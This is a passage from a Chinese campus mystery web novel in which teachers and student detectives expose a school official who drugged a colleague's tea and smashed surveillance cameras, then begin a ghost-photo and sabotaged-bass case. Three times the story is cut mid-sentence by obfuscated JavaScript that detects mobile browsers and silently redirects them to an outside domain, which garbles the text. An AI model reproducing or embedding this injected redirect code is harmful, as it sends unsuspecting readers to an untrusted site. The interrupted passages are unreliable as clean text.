“早上不喝茶,到了第一节晚自习时,泡一壶茶喝完。然后,第二节晚自习时再泡一壶。”她如数家珍般,一一列举着檀惠莲的喝茶习惯,“要是拿到了新茶,就会立刻在最近的一节晚自习上泡来喝,跟计算好似的。”
“有什么问题吗?”檀惠莲更加莫名其妙,“晚上每过一个小时就喝一壶茶提神,和喜欢尝新又怎么了?”
“当然有问题啦!”
梅屡望烦躁地叹了口气,开始在舞蹈室里踱步。
“这就导致,有人发现并利用了你这个规律嘛——你昨天给我的茶包哪来的?”
“是学校发给语文科的啊,为了感谢我们参与了艺术节文案策划工作。”
檀惠莲的神情略带奇怪,似乎不能理解梅屡望这个问题的用意。
“昨天第一节晚自习中途送来的,有好几包呢,我就给了你一包。本来我是想立刻试试的,但那时候我已经用旧茶包泡了一壶茶了,而且第二节晚自习我就要去练舞。于是我打算等到今天晚上再泡。”
顿了顿,她的话语带上了一丝隐隐的幽怨。
“但是,今天不知是谁,在我吃晚饭的时候,把我那些新茶都拿走了。”檀惠莲皱了皱眉,不悦地说着,“所以,我到现在还没尝到。”
梅屡望沉默地看着她,缓缓从口袋里拿出一个茶包。
“拿走新茶的……是你?!”
在檀惠莲惊异的目光中,梅屡望撕开包装袋,取出里面包着茶叶的纱袋。接着,她拿出一把剪刀,小心翼翼地将纱袋剪开——
黑褐色的茶叶中,几撮白显得格外扎眼。
——
蓦地,投射在房内墙壁上的那片洁白畏缩了,取而代之的是缓缓逼近的阴影。随着几乎悄无声息的脚步,一个黑影逐渐升起,沉默地浮现于门外。
微弱,但又刺耳的金属碰撞声,于黑影手中响起,将这漫无边际的黑夜衬得更加死寂。一同从门外传来的,还有那因不安而急促的粗喘声,以及不耐烦的小声嘟囔。
与此同时,房间一角的黑暗微微躁动了一下。
——
“安眠药粉,你的其他几包茶叶里也有。”
梅屡望捏起茶叶中的一点白色粉末,在指尖搓了几下。
“我发现昨天用来泡茶的水壶里,有一点茶叶渣。这说明,装茶叶的纱袋并不是完全密封的。”
她指了指被剪刀剪去一小截的纱袋——上面还有一个不引人注意的小缺口。
“有人动了手脚。”
在众人惊诧的目光中,梅屡望缓缓地往下分析。
“而这进一步说明,包装袋也被弄开了。”
说完,她又拿起刚刚被撕开的包装袋,撕下上面的商标贴纸——
失去了贴纸的掩盖,包装袋表面上赫然出现了一个小口子,足以伸入一根指头。
“下药的人先把商标揭下,在包装上弄出一个小口子,再把里面的纱袋也弄开,加入安眠药粉。”梅屡望一字一顿地还原着作案过程,“之后,他再把商标贴回去,使别人看不出开封痕迹。泡茶时,茶包中的安眠药粉就会溶解在茶里,从而神不知鬼不觉地让人服药。”
檀氏兄妹顿时脸色一变。
“还好……昨晚直到凌晨两点,我还亮着宿舍的灯在写论文,所以无事发生……”檀惠莲抱起双臂,在巨大的震惊中喃喃,“但这是谁干的呢?他又想要做什么呢?”
“这我就不好说了,”梅屡望摇摇头,“刚好你在三楼的宿舍靠近教师宿舍北梯口,走廊的监控拍不到那。而三楼北梯口的监控,又在被石头打烂的那几个监控之中——”
“等一下!”我突然回想起梅屡望之前说过的话,一个想法在脑海中冒出。
“老师,你们还记得教师宿舍被打烂的监控都在哪吗?”
“啊?”面对我的突然发问,梅屡望一愣,将发丝缠绕在指间,“二楼、三楼这两个楼层北梯口的监控,还有二楼走廊的监控。”
“那教师宿舍的男女分布呢?”我又急切地问道,“是怎样的?”
“三楼及三楼以上住的是女老师,一、二楼住的是男老师……”梅屡望抬头回忆完后,又向我投来疑惑的目光,“话说你问这些干什么?”
“二楼都住了哪些男老师?”没理会梅屡望的不解,我继续追问。
“呃……”梅屡望继续缠绕着发丝,想了想,“胡谕臻……老师。”
“班主任?!”我大惊,“他住教师宿舍啊?我还以为他已经结婚成家了呢!”
“……噗。”
我略感尴尬地看向檀惠竹,后者捂着嘴转过头去。
“唔……”梅屡望忍着笑,继续说道,“还有教历史的田忠级长、教物理的雷熠老师、教数学的刘一鸣老师和左专斌老师。”
我心念一动。
——
“咔哒——”
最后一下金属碰撞声,于黑影满是汗水的手心中响起,锁舌随之从锁洞中脱落。受到恰到好处的推力,失去束缚的门缓缓在摩擦声中移位。
潜伏在外的黑影屏息敛声,抬腿跨过门槛,悄然而入。轻微至极的脚步声越来越近,渐渐逼向檀惠莲的方位。
——
“果然是他。”
听完梅屡望的讲述后,我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063874|179220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
更加确定了嫌疑犯。
“杜苓瑛,你这有点过于武断了吧……”
梅屡望紧锁着的眉头透出怀疑,似乎不敢苟同。
“那个人……不可能玩弹弓玩得这么厉害。”她笃定地摇了摇头,“我以前有一个很会玩弹弓的同学,她结茧的地方是食指和中指。而那个人手上只有虎口处有茧!”
“那——那他也可以扔石头!”我连忙给先前的推理打上补丁,“只有他能有足够的力气扔石头!”
“就算他能从宿舍窗口翻到后山再溜回来,那他又是怎么把石头扔那么准的?我可不相信他有那么好的准头和力量——可能全校人都没有。”梅屡望还是满脸疑虑,“就连某卫衣男扔准石头的最远距离也只有二百米。”
“那万一他能扔五十米呢?”即使遭到质疑,我依然不愿放弃之前的推论。
“不可能,你以为身为体育老师兼跆拳道社指导老师的我看不出来吗?”
“可是——”
“打断一下。”一直沉默的谭深突然开口,“其实我也觉得他不可能去扔石头。但是——”
他在我幽怨的目光中补了一句:“杜苓瑛,你回想一下,你是从哪里得出‘他能有足够的力气’这个结论的?”
“那还用说啊?梅老师之前不是提过吗——欸?!”
我猛然意识到他话中的意思。
“等等,难道你觉得……”艾怡芊猜到了我们在说什么,但他同样不敢相信,“这也太……”
“……离谱。是吧?”谭深似乎早已预料到我们的反应,“但你们想想,这是不是有很大的可能性?”
“喂喂,我们还在同一个频道上吗?”梅屡望来回移动着不解的目光,轮流盯着我们三个,“我之前提过什么东西了——啊?!”
梅屡望踉踉跄跄地后退小半步,也回想起来了。
——
黑影在床前止步,没有了下一步动作,似乎是对自己即将要做的事情感到无比迟疑。
充斥着紧张和不安的黑暗中,黑影犹豫着,默立了很久。
但黑影最终还是上前了。
——
……最近高一(3)班和教师宿舍那边的监控先后烂掉……还在监控附近的地上发现了好几块石头……
但愿在市□□射击大赛上得过奖的……能找机会吓唬那混蛋几下。
那一刻,梅屡望很平常地,把同事曾经夸耀过的事情提了一下。
那一秒,杜苓瑛第一次知道了,有老师会打□□。
这一刻,黑影俯下身子。
这一秒,另一个身影从黑暗中窜出来。
“喝啊!”
梅屡望飞起的一记回旋踢正中黑影头部。
黑影立刻向地面猛地倒去,断断续续地发出痛苦的呻吟。而在一旁,檀惠莲马上从床上坐了起来,沉默地看着眼前的这一幕。
“真没想到你竟然会做出这种事。”
梅屡望叉腰站立在蜷缩着的黑影前,语气冰冷到了极点,浑身上下散发出一股阴森的杀气。
“田忠,田级长。”
10. (5)观棋亦语
——
“……他先从宿舍窗口爬出,来到后山上,再寻找到合适的位置。接着,他用应该装有消音器的□□,打烂了我们三班的监控。”
谭深在舞蹈室里找了张凳子坐下,开始了他的独家推理秀。
“等到早上,他再来到教室,回收嵌在监控里的钢珠。同时,他在附近的地面扔下石块,伪装出监控被石头打烂的假象,并演成愤怒不已的发现者。”
“可他如果要对我下手,破坏教师宿舍的监控就行了,为什么还要去打坏三班教室的监控呢?”檀惠莲那双柳叶眼里流露出疑虑,“这不是多此一举吗?”
“我想,这应该是他为了避免出现失误,提前做的射击练习。”谭深不紧不慢地解释,“同时,这也能事先误导学校里的各位,让大家都认为后山有个爱搞破坏的混蛋。”
顿了顿,他继续往下陈述自己的推理。
“显而易见,试验大获成功——他一击命中,并且没有人怀疑到他头上。于是,他便开始了下一步行动——打坏他从自己宿舍到檀老师宿舍的路上,必须会经过的监控。”
“二楼和三楼北梯口的监控……”檀惠竹喃喃道,“以及二楼走廊的监控……”
“正是。”谭深冲檀惠竹点头。
“然后,他再从后山翻窗,回到自己的宿舍,出门在坏掉的监控下方扔下石块,并装作刚被吵醒的样子。至于钢珠,他可以搬把椅子装作是在检查监控,然后再趁机回收——他是这样干的吗?”
“一点不错。”梅屡望十分赞许。
“杜苓瑛大概是回忆起田级长会打□□后,才认为他有力气去扔石头。但正如梅老师所说——我们学校应该没人能做到。于是我便想到了他直接使用□□的可能性。”
谭深潇洒地结束了他的推理。
“漂亮!”
率先开口的是檀惠竹,他正兴奋地鼓着掌。
“太精彩了!笔给你,你来写!”
“算啦,君子竹先生。我破案还有点在行,造案就不行了。”
谭深摆着手推辞完后,又补了一句。
“不过,您倒是可以把这件事改成推理小说,再把我写成文中的名侦——”
“凭什么只有你做名侦探?”我提出反对意见,“在上个案子里,我的推理比你这次的精彩多了!”
“既然是田忠干的,那他这又是为了什么呢?”檀惠莲没理会又在内讧的我们,皱起眉思索。
“动机这种东西,随便找一个就行了。”梅屡望的眼神逐渐变得凝重,“总之,我今晚会在你的宿舍里,陪你一起等候他的……”
——
“总而言之,在我那一脚后,他就吓破了胆,直接束手就擒了!”
会议室里,梅屡望顶着黑眼圈,手上拿着檀惠竹请的珍珠奶茶。她正像个说书人一样,滔滔不绝地向我们讲述昨晚的事。
“呃……所以……梅老师……”一边喝着手中的奶茶,一边听完梅屡望那一大串带有英雄主义色彩的讲述后,我实在按耐不住自己的好奇心了,“他整出那么大一番某章姓男子式的操作,到底是为了什么?”
“啊……”梅屡望吞吞吐吐,“这个嘛……”
“因为他想勒索檀惠竹。”檀惠莲抿了口保温杯里的茶,淡定坦白。
“勒索?!”艾怡芊万分惊讶。
“是的,而且他的脑回路似乎和李翼差不多,他想用我的——”
“欸欸欸!!!行了行了!”梅屡望急忙站起身,打断了檀惠莲还未说出口的“裸照”二字,“没必要什么都说吧?!”
及时止损成功后,梅屡望叹了口气,又一俯身坐回到椅子上。
“总之,田忠不想被檀惠竹知道是他干的,从而反向威胁他——毕竟这位君子竹作家那么多钱,随便找几个打手那是轻轻松松。”
梅屡望在檀惠竹“算了您爱怎样说就怎样说”的眼神中,继续解释道。
“所以,他才要大费周章,那那把该死的□□弄坏监控,让别人无法查到是他干的。”
“那他干嘛要勒索君子竹?”我还是不敢相信,那个衣冠楚楚的高二级长会干出这种下流的事情,“他有这么贪财吗?”
“因为……”梅屡望犹豫片刻,一脸为难地压低了声音,“本来你们三个是不应该知道的,但看在你们帮了那么多忙的份上,我就告诉你们……”
“赌博?!”
这次轮到我惊叫了。
“嘘——”梅
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063875|179220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
屡望紧张得脸都拧歪了,“小声点!!!”
“是的,后来警方查到他在某个非法网站上赌博,并欠下了一大笔债。”檀惠竹接过话头,“他之前已经被追债的人找过了,所以才请了那么多天假。接着他又不知怎么得知了檀惠莲有个作家哥哥,于是就想到了勒索……”
“……”不知是不是我的错觉,在檀惠竹说话的时候,谭深的眼睛似乎黯淡了一下。
我盯着他看。
“赌博害人呐……”只见谭深轻轻吐出这句话后,表情又重新变得轻松起来。
“……”我低头继续咀嚼着一小颗珍珠软糖。
“对了,我有个请求。”谭深突然抬起头,目光炯炯地看向三个大人。
“你们能不能帮我们侦探团起个名字?”
对哦,还有这一茬。
“铁三角!”
“……这真的不是在诅咒我们招不到人吗?梅老师?”艾怡芊表情复杂。
“少年侦……”
“请您闭嘴,君子竹先生!”我满脸鄙夷。
“铁观音!”
“乍一看是很帅,可这只是单纯以您自己喜欢喝的茶来命名吧?檀老师?”谭深对这些乱七八糟的名字彻底无语。
“观音……”梅屡望沉思着,突然兴奋地一拍手,“啊哈!我想到了!”
她满脸得意地笑着,慢慢说出自己的提案——
“你们可以叫‘观棋不语’。”
“才不要——欸?”我认真地考虑了一下,“好像……还真可以?!
“确实……”檀惠竹也对这个提议的可行性略感惊讶,点头赞同道,“谜题与案件,就像是一盘盘错综复杂的棋局,而你们则负责俯瞰棋盘,探寻它的最优解法,观棋……”
“亦语。”谭深插了进来,“要是不语的话,作为侦探的我们可就失职了啊。”
“妙哉!”我兴高采烈地附和,“那我们就是——”
“观棋亦语侦探团!”
(《观莲不语》完)
(下章预告:摇滚社贝斯遭人故意毁坏?!——来自校园乐队的求助。观棋亦语侦探团首次接到同学的正式委托。面对眼前的十多个嫌疑人,推理的第一步是记住名字!)
11. (1)召灵仪式
“……顷刻绽放闪烁的磷火花,凝结成星芒划破永夜一刹——啊——那将是照亮我前路的灯塔吧?”
“深哥啊,潜中(潜龙中学简称)十年前的艺术节汇演确实很精彩,但是……”
我把手中《家鸭与野鸭的投币式寄物柜》伸前,往放映机关机键上一按:
“你也没必要连续两次社团活动都看吧?还有我们可不想因为你偷学校录像带而受牵连。”
“独自一人被音符吞没,难道不是全世界共通的快乐吗?”谭深叹了口气,苦着脸把录像带取出。
“起码不是何峻轩的快乐。”正在写卷子的艾怡芊悠悠回答。
此刻,是每天下午的半小时社团活动时间。作为娱乐性比较强的社团,我们的活动室被安排在了废弃校舍里的301课室。
“我费了好大劲才把这里打扫干净呢!”在带我们进来的时候,谭深曾有过这样的抱怨,“这间课室之前好像被当作杂物间用了,什么乱七八糟的东西都有,我只好把它们都挪到隔壁302去了。”
他唯独留下了那台旧放映机。
“不过我可真没想到,潜中以前竟然有这么厉害的乐队,”看着桌上那盘录像带,我不禁感叹,“希望接下来的艺术节也能有这么好看的演出——”
“说到艺术节汇演,”谭深打断了我,“你们还没把这些东西订回到艺术节海报旁边呢。”
他指了指旁边桌上的一沓推理社招新宣传单。
又来?!
我把脸往书里埋了埋:“改日再议,改日再议……”
“不要逃避,今日完毕!”
就在这时,课室门被敲响了。
“何峻轩?!”谭深立刻把录像带往书堆里一塞。
我们心惊胆战地互相对视,最后还是艾怡芊去开了门。
何级正气势汹汹地站在门外——啊,幸好不是这样。
门外其实是一名身形娇小的女生,双马尾上别着黄色发饰。
“你好,谭深同学。这里是推因社对吧?”
“推因社”这个名字是我想的,旨在谐音“奎因”。
“对,怎么了?”不知道为什么,谭深似乎有些局促。
安逸思微笑着。
“能帮我们社团一个忙吗?”
“啊?这是真的吗?!”
205课室里,我不可思议地瞪着手中的照片:“前辈可真牛啊!”
有些泛黄的照片上,是旧校舍的课室——只不过那时的旧校舍还在使用中。
照片拍摄于课室中央,面向外窗,正对着被拉上的黑窗帘。地板上有一个大大红色六芒星法阵,笔画复杂。法阵的每个星角处都贴着一张符纸,旁边还都站着一名面向镜头,双手结印的学生。
可最引人注目的东西并不在这些之中,而是他们后面——
一个模糊的白影。
“这是小橘在打扫卫生时,从那找到的。”名叫安逸思的双马尾女生伸出手,朝课室前端的扫帚间一指,“它被放在了一个木匣子里,匣子里面还有这个——”
她递来一本小册子。
“这里写了他们原创的召灵仪式——不过里面有很多东西,我也是看得一头雾水……”
安逸思皱了皱眉,开始读那本召灵手册上的内容——
“他们……似乎把中西方的召灵方法都结合在了一起,说是要用鸡血画这个……不知道从哪找来的魔法阵。然后再贴上符纸,并且也用鸡血画……不知道从哪看来的符咒。还需要六个人用双手结……不知道从哪查来的法印……”
她似乎越念越没有信心。
“……最后必须拉上所有窗帘,并用摄像机自动摄影,说是这样做,就能拍到平时看不见的东西。而他们——以前在205的学生,用这些方法,就真的得到了现在这张照片。”
“哇哦,”谭深干巴巴地赞叹——他和安逸思是在学校物理竞赛队中认识的,“然后呢?”
“这张照片上不是有六个人嘛,”安逸思身旁,穿着初中部的深绿色校服,名叫夏羡霞的小个子女生开口道,“而我们……”
她挠了挠脸上的大块创可贴,一本正经地念:
“……破零·超自然事件研究社……”
救命,这社团名简直中二到爆了!
“……只有三个成员,凑不够六个人。”夏羡霞朝角落的第三个社员投去一瞥——是个正在看漫画的单马尾女生,名为陈橘。
“所以……”我试探地指了指自己。
“……你想拉我们三个一起完成这个召灵仪式?”
“没错!”
安逸思开心地冲我点头:
“那么,我们就——”
“先别那么着急,”她身后的陈橘打断了她,“我们还没确定这张照片是不是P的呢。”
“是真是假,试试不就知道了?”安逸思没理会陈橘的质疑,把照片和小册子往后者手里一塞,兴奋地打书包,取出里面的东西——
“锵锵!”她孩子气地笑着,举起手中的一沓符纸,“鬼画符!还有——”
她又举起一瓶装满了红色液体的矿泉水瓶:“鸡血!”
“你还真准备了这个啊!”夏羡霞吓了一跳,艾怡芊也脸色微变。
“当然啦,我在探索超自然事件上可是很务实的!”安逸思开心地把这些东西依次在桌子上摆开。
“……那不就说明你在别的方面不务实吗?”陈橘幽幽吐槽。
“喏!”安逸思并没有被这句话打击,拿起一支毛笔递给陈橘,“小橘,魔法阵和符咒你来画!”
“为什么是我啊?!”陈橘脸上的厌恶之色明显得不能再明显了,“你自己不能画吗?”
“因为你更擅长画画嘛。”安逸思笑着把毛笔推进极度不情愿的陈橘手里,“小霞就去认真看看那几个法印该怎么做吧——推因社的各位也一起吧!”
安同学,很抱歉打扰了你的兴致,但是时候了!
我在心中倒数着,看向谭深。预备——
果不其然,谭深叹了口气。
“……好吧。”
啊?
我震惊了——谭深不是会在这种时候谈报酬吗?
注意到我和艾怡芊意外的目光,谭深轻咳一声:“呃……我之前……欠了安同学和陈同学一个人情……”
“他有把柄在我们手上。”安逸思直言不讳,陈橘在她身后尴尬地欲言又止。
我再次震惊。
“什么把柄?”夏羡霞诧异地叫出我心中的疑问,直勾勾地盯着谭深看,“你们之间发生什么了。”
“……没什么,”陈橘站起身来,赶开一脸好奇的夏羡霞,“赶紧去看册子吧。”
“是是是——”夏羡霞甩了甩两条小辫,撅起嘴走开了,“公——主——殿——下——”
“……都说了别叫我公主。”
我和艾怡芊则满脸复杂地看向谭深,后者赔着笑脸。
“招新宣传单你至少也订一半!”
我不容置疑地指着他。
随着魔法阵的绘画,课室里弥漫开一股浓重的血腥味,渐渐引发我的不适感——
“嘶……就一定要用血吗?”同样被这股异味所困扰的夏羡霞咬牙切齿。
“没办法,谁叫那本册子上是这样写的。”离那一大滩血最近的陈橘看上去也不太好受,“要不……你先出去,等待会拍照时再进来?”
“哼!我才没那么弱……”
“可是你看上去快吐了。”
“才没有呢!”夏羡霞强撑着,扬起发绿的脸,一拍胸口,“毕竟我可是……世界第一的主角殿下!”
沉默。
“喂,那是什么?”我偏头小声问谭深。
“不知
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063876|179220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道,”后者耸了耸肩,“中二小鬼特有的世界观?”
“才不是中二小鬼呢!”
“不过……”我担心地看向艾怡芊——后者正死死用衣领捂着脸,脸色差到了极点,“我觉得你倒是需要出去透透气——”
“换人吧,”谭深直接说道,转头问安逸思,“你还有别的备用人选吗?”
嗯?这决定也太快了吧,怎么感觉有点瞧不起人呢?你俩是还有什么矛盾吗?
……不过能离开这充斥了整个课室的该死味道也挺好的。我叹了口气。
“我们超研社确实有个编外成员,”正在摆弄相机支架的安逸思想了想,“小霞,你去把201的范晚枫同学叫来吧。”
(注:“超研社”即为“超自然事件研究社”的简称。)
“啧,知道了科学怪人!”夏羡霞似乎很喜欢给人起外号。
于是,以夏羡霞为催化剂的置换反应发生后,艾怡芊离开了课室,而一位风度翩翩的男生出现了。
“我叫范晚枫,高二。”他自我介绍道,英俊的脸上带着礼貌的微笑。
“你竟然能抓来高二生?”归来的夏羡霞冲安逸思歪了歪头,“挺有本事的嘛!”
“这也是多亏了谭深同学呢。”
“安逸思同学……”谭深捂住额头,“能不能不要再提那回事了……”
“看来你们的过往一定很精彩。”我轻笑着调侃,“你们是一个初中的吗?”
“不,”谭深一口否定,“我们只是在军训时发生了一些小交集。”
“什么交——”
“好了,这就行了吧。”另一边,陈橘捂着口鼻,从斗志昂昂贴鬼画符的安逸思旁退开,转头去看那本册子。
“完美!”安逸思饶有兴趣地凑上去,仔细端详着那个法阵,“来个人去拉窗帘吧!”
“我来吧。”范晚枫主动走向窗边。
“谢谢啦,绅士哥!”夏羡霞转眼又起了个新外号。
唉,算了。我看着因话题被岔开而松了口气的谭深,无奈至极。
……还是下次找个良辰吉日再问吧。
十来秒后,两边的窗帘都被拉上,课室顿时阴沉下来。昏暗之中,血腥味显得更加刺鼻,让人简直无法呼吸。唯有从隔壁课室传来的撞击声,提醒了我这里仍未与现实世界隔离。
“好像还挺有趣嘛!”面对这阴森的氛围,范晚枫竟看上去满怀期待。
“怎么就有趣了?”夏羡霞绿着脸,嚷嚷出了我的心声,“我都要被这股味道恶心吐了!”
在她身后,谭深也无力地点了下头,表情异常难看。
“再坚持一下!”安逸思正站在课室中央,调试着支架上的相机,“大家都站到相应的位置上结印吧!”
除了安逸思和范晚枫,所有人都没给出好脸色,不情不愿地走到了魔法阵周围。随后,安逸思也过来了。
“五……四……三……”
昏黑的阴暗,鸡血的腥味,以及不知从哪传来的“啪嗒”声,都与安逸思压低声音的倒数声混合在了一起。
惊悚与恐怖渐渐滋生,迅速笼罩了所有人。
“……二……一!欢迎光临!”
“咔嚓!”
快门声应言而响。
“‘欢迎光临’是什么鬼啊……”在陈橘无语的目光中,安逸思迫不及待地冲去取相机——
然后她兴奋的表情凝固了。
“怎么了呀,科学怪人?”夏羡霞嘲笑着凑上前去,“拍照时你闭眼了吗——”
紧接着她也僵住不动了。
难道……
我咽了咽唾沫,只感觉寒毛倒竖。
不会吧……
跟上抿紧嘴唇的陈橘,我颤抖着走了过去——
白影,紧贴着地面,从六人身后掠过。
与此同时,课室门打开了——
12. (2)校园审理,开庭!
“哇啊啊啊啊啊——”
“……欸?!!”
开门的短发女生被夏羡霞的尖叫声吓得一缩。
惊魂未定中,世界安静了几秒。
在课室阴影的笼罩下,那位女生的眼睛周围,简直漆黑一片——
好吧,确实是漆黑一片,因为她戴了副防风墨镜。
我终于从惊吓中恢复了基本判断力。
“同学,你有什么事吗?”率先开口的是安逸思——不愧身为超研社社长,她是所有人中最先冷静下来的。
“呃……”女生被防风镜遮住一半的脸稍稍低下,又慢慢抬起,从地上贴着符纸的魔法血阵,再看到满脸紧张的我们几个。
她把课室这一整副阴森的景象尽收眼底后,抿了抿唇,还是决定不作任何评价。
“咳,”防风镜女生清了清嗓,以一种冷峻的口吻说道,“我们魔音社,也就是摇滚社,贝斯被人恶意破坏了……”
……这声音怎么有点熟悉?我疑惑地端详着这位身形也似曾相识的女生。
“……为了尽快找出凶手,这里的所有人都要去206接受询问——所、有、人。”
防风镜强调完后,往墙上一倚,伸手指了指门口。
“看来我们不仅招来了鬼,还招来了祸啊……”范晚枫幽幽感叹。
“什么?”防风镜不解地朝他扭过头,“鬼……”
“没什么!”安逸思笑眯眯地推回了防风镜的好奇,“我们现在就过去——”
“蛤?我才不要!”夏羡霞立刻跳起来反对,“现在已经……”
她晃着手腕上的表:“五点零五分了欸!还有五分钟就放学了,而且今天还是星期五!你们这是要拖我的堂吗?”
“这也是为了能尽快找出犯人。”防风镜冷冷重复。
“可我们哪有什么时间去弄坏你们的吉他——”
“是贝斯!”
“——你们的贝斯啊?”夏羡霞不耐烦地改口,“我们几个明明一直在忙活这见鬼的召灵仪式。我可不想被你们白白浪费掉晚餐时间!假面骑士!”
……呃,这次的外号怎么如此特别?
“就算你们没离开过这里,但你们在我们206活动室隔壁,应该也能提供一些有效线索。”喜提“假面骑士”外号的防风镜如是说,“要是有人不愿配合的话,我就默认这个人与此事有关。”
她朝门口偏了偏头,再次示意我们出去。
话都说到这份上了,我只好跟随众人走出了205,并绝望地瞥了眼左腕手表上不停转动的指针。
幽灵呀幽灵多美丽,今天的晚餐在哪里?
谭深我恨你!!!
出门左拐,再走过一段路,我们便来到了206门前。
门上,贴有一张纸,用花体字写着“魔音·摇滚社”,下面还有一行字——“「掠夜彗星」乐队”。
“……我没说谎。推因社才刚成立没几天,所以你们才没听说过……”
就在防风镜推开门的瞬间,一个熟悉的声音从206里传来。
“艾怡芊?”我连忙探头进门内,还没来得及去找他,就先被里面的场面惊呆了——
桌椅都被并在了一起,绕课室墙壁围成一圈,上面坐了十多个人,正朝门口的我们投来探询般的目光。
而在课室中央的空地上,就站着辩解到一半的艾怡芊——他望着我和谭深,露出如释重负的表情。
陪审团,以及为自己辩护的嫌疑人。我瞬间联想。
“好了,人都到齐了吧。”
说话的,是一名戴着黑色猫耳帽的少年,正坐在课室前端的一把椅子上。
审判长。我这样想着,和谭深坐到了课室左侧的空位上。
“在座的各位可能都不认识我,”审判长继续道,“所以我先作一下自我介绍,好方便称呼——”
“等等,”审判长的话被一个坐在我们对面,拿着记事本的男生打断了,“我们还没确认他说的话是真是假呢。”
他推了推黑框眼镜,用记事本朝被告艾怡芊一指——后者正试图悄悄溜到我旁边坐下。
“是真的。”
我诧异地看向开口辩护的人——竟是刚在审判长旁边坐下的防风镜。
“没错,”谭深也发言担保,“他是我们推因·推理社的成员之一,不是什么无社游民。”
……“无社游民”是什么奇怪的新名词?
“学校竟然多了个推理社?”记事本男生邻座,一个脑后别着紫色蝴蝶发饰的半编发女生瞪大眼睛,“这可是个重要事件,赶紧记下来——”
“我感觉此刻让我赶紧回家才是最重要的事件!”夏羡霞的抗议埋没了记事本男生的奋笔疾书声,“木兰,你们究竟要搞多久?!”
她冲审判长喊道。
“呃……你稍微委屈一下啦。”被称作木兰的审判长双手合十,“改天我请你吃苹果派。”
“……切,这还差不多。”
“所以到底什么时候才能说正事啊?我们的时间可是很宝贵的。”课室后端,一位披着黑斗篷的散发女生不耐烦地催促,“这位木兰同学——”
“我叫夏烁!‘夏天闪烁’!”夏烁慌忙否决夏羡霞的外号,“高一,魔音·摇滚社社长,也是‘掠夜彗星’乐队队长。接下来的说明,就由我们乐队的高二级乔似梦同学——”
夏烁指向自己身后——一个刘海上别着眼睛发夹的女生,正坐在角落的一张椅子上。她单手托腮,垂着头,高马尾披在肩侧,全然一副“思想者”的自闭姿势。
“……”夏烁沉默了。
“算了,还是我来吧。”防风镜略显无奈地按了按镜片。
——
“不错不错,我觉得这次非常好!”
又一次排练结束后,主唱夏烁放下电吉他,高兴地拍着手。
“话虽如此……”贝斯手乔似梦垂下目光,若有所思,“听感似乎略显单薄。”
“我已经尽力了……”听了这话,夏烁沮丧地甩着头,“感觉编曲比作曲难一百倍!”
“或许……”乔似梦变魔术般拿出一盘录像带,“我等可以一睹前辈们的表演。”
“什么前辈?”吉他手防风镜盯着一脸得意的乔似梦,不解地皱了皱眉。
“哼哼……这可是十年前学校艺术节的录像带——也是‘暗夜星芒’表演的录像带。”
“什么?!”夏烁一下就窜到了乔似梦面前,“‘暗夜星芒’?那个我们潜中十年前的神话级乐队?!!”
夏烁不敢相信地瞪着乔似梦手中的录像带……
——
“打断一下。”
听到这里,我做了个暂停的手势,心说怎么一个个都去偷学校录像带。
“‘暗夜星芒’是什么?”
夏烁不敢相信地瞪着我:
“暗夜星芒欸!十年前划过潜中的一颗璀璨流星啊!”
这位审判长违反了法庭纪律,猛地站起身来,握紧双拳,激动万分地大喊——
“踏雪猫!梅女王!观音莲!君子竹!笑面狐!学校魔音·摇滚社的开山鼻祖啊!”
夏烁仰脸望着头顶空气,虔诚地张开双臂:
“更伟大的是,他们的演奏每一首歌都是原创的!原创的!!!”
望着夏烁这副痴狂的样子,我被吓得说不出话来——这就是传说中的“rocker”吗?
……不过,刚才夏烁的话中好像出现了一两个不得了的名字。一个大胆的猜测在我心中冒出来。
“……确实很厉害。”“思想者”乔似梦旁,一位蓝色鸭舌帽上有“Muse”字样的女生突然发话,“我也很喜欢‘暗黑芒果’的歌。”
短暂沉默。
“……是‘暗夜星芒’啦。”夏烁捂住额头,“你还真是完全记不住名字啊……”
——
“……但我们没有放映机。”望着那盘录像带,戴蓝帽子的高一级鼓手詹澄有些失落,“录像放不了,曹司马。”
“在下叫乔似梦……”乔似梦无奈地纠正,“在下前两天在这边转悠过,见楼上301的门没锁,里面还有一台放映机,我等均可上那去看。”
“真的吗?”夏烁兴奋地揽住乔似梦的脖子,伸手朝楼上一指,“掠夜彗星全体成员,出发!”
于是,掠夜彗星从206课室走到左边的北梯,上了三楼。接着,四人穿过走廊,来到301门前。
乔似梦立马上前一步推门,但没推动。
“嗯?锁了?”乔似梦倍感疑惑,“先前不是没——”
——
“那是因为我之前还没把课室收拾好,懒得锁。”谭深笑着解释,“后来我望着整洁的房间,有了归属感,就习惯离开
